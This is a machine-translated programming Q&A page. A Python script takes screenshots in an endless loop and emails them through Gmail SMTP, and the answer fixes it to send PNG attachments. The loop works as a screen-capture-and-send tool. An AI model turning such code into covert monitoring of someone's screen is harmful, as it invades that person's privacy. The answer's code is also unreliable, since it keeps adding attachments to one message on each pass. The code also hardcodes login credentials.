python - 如何以 PNG 格式而不是 base64 接收屏幕截图?请将该功能添加到我的代码中
问题描述
我正在制作一个 python3 脚本,在特定时间间隔后将屏幕截图发送到我的邮件。但我以 bsee64 的形式接收屏幕截图,而不是 png/jpg 。请将该功能添加到我的代码中
代码在这里
from _multiprocessing import send
from typing import BinaryIO
from PIL import ImageGrab
import base64, os, time
import smtplib
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
# [!]Remember! You need to enable 'Allow less secure apps' in your #google account
# Enter your gmail username and password
s.login("zainali90900666@gmail.com", "password")
# message to be sent
while True:
snapshot = ImageGrab.grab() # Take snap
file = "scr.jpg"
snapshot.save(file)
f: BinaryIO = open('scr.jpg', 'rb') # Open file in binary mode
data = f.read()
data = base64.b64encode(data) # Convert binary to base 64
f.close()
os.remove(file)
message = data # data variable has the base64 string of screenshot
# Sender email, recipient email
s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", message)
time.sleep(some_time)
解决方案
您将图像作为 base64 编码文本接收,因为您已经在 message 参数中提供了数据,这是电子邮件正文应该去的地方。
我重写了代码,这对你来说应该没有问题:)
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from PIL import ImageGrab
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666@gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666@gmail.com"
msg['To'] = "zainali90900666@gmail.com"
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
# Change this value to your liking
time.sleep(2)
资料来源:https ://medium.com/better-programming/how-to-send-an-email-with-attachments-in-python-abe3b957ecf3
推荐阅读
- javascript - 变量被分配了一个值但从未使用过,除非它实际被使用
- html - React - 无法让 CDN 字体在 Safari 浏览器上工作
- c# - 将 RichTextBox 绑定到 FlowDocumentReader 内部的内容时,它变为 ReadOnly
- javascript - 以高分辨率png保存html div
- spring - spring security,从表中获取方法和 url 并动态验证 authorizeRequests
- r - 从同级多个同名节点抓取网页
- android - React Native Azure Auth 注销而不重定向到网页
- sql - 如何根据特定字段更新具有数字总和的表?
- javascript - 使用 jest-puppeteer 对文本字段进行 Webscrape 测试
- swift - 带有表情符号的推送通知(Firebase + iOS)